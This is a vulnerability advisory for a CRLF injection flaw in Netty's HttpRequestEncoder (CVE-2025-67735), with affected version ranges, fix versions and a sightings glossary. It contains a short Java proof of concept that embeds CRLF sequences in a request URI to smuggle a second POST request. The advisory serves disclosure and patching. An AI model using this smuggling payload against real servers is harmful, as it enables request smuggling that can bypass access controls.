ghsa-84h7-rjj3-6jx4
Vulnerability from github
Summary
The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.
Details
The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);)
The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.
PoC
Simple reproducer:
```java public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel(); client.pipeline().addLast(new HttpClientCodec());
EmbeddedChannel server = new EmbeddedChannel(); server.pipeline().addLast(new HttpServerCodec()); server.pipeline().addLast(new ChannelInboundHandlerAdapter() { @Override public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { System.out.println("Processing msg " + msg); } });
DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.GET, "/s1 HTTP/1.1\r\n" + "\r\n" + "POST /s2 HTTP/1.1\r\n" + "content-length: 11\r\n\r\n" + "Hello World" + "GET /s1" ); client.writeAndFlush(request); ByteBuf tmp; while ((tmp = client.readOutbound()) != null) { server.writeInbound(tmp); } } ```
Impact
Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.8.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.129.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-67735"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-15T23:28:49Z",
"nvd_published_at": "2025-12-16T01:15:52Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri.\n\n### Details\n\nThe `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`)\n\nThe default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.\n\n### PoC\n\nSimple reproducer:\n\n```java\npublic static void main(String[] args) {\n\n EmbeddedChannel client = new EmbeddedChannel();\n client.pipeline().addLast(new HttpClientCodec());\n\n EmbeddedChannel server = new EmbeddedChannel();\n server.pipeline().addLast(new HttpServerCodec());\n server.pipeline().addLast(new ChannelInboundHandlerAdapter() {\n @Override\n public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {\n System.out.println(\"Processing msg \" + msg);\n }\n });\n\n DefaultHttpRequest request = new DefaultHttpRequest(\n HttpVersion.HTTP_1_1,\n HttpMethod.GET,\n \"/s1 HTTP/1.1\\r\\n\" +\n \"\\r\\n\" +\n \"POST /s2 HTTP/1.1\\r\\n\" +\n \"content-length: 11\\r\\n\\r\\n\" +\n \"Hello World\" +\n \"GET /s1\"\n );\n client.writeAndFlush(request);\n ByteBuf tmp;\n while ((tmp = client.readOutbound()) != null) {\n server.writeInbound(tmp);\n }\n}\n```\n\n### Impact\n\nAny application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection.",
"id": "GHSA-84h7-rjj3-6jx4",
"modified": "2025-12-20T02:30:14Z",
"published": "2025-12-15T23:28:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67735"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/77e81f1e5944d98b3acf887d3aa443b252752e94"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.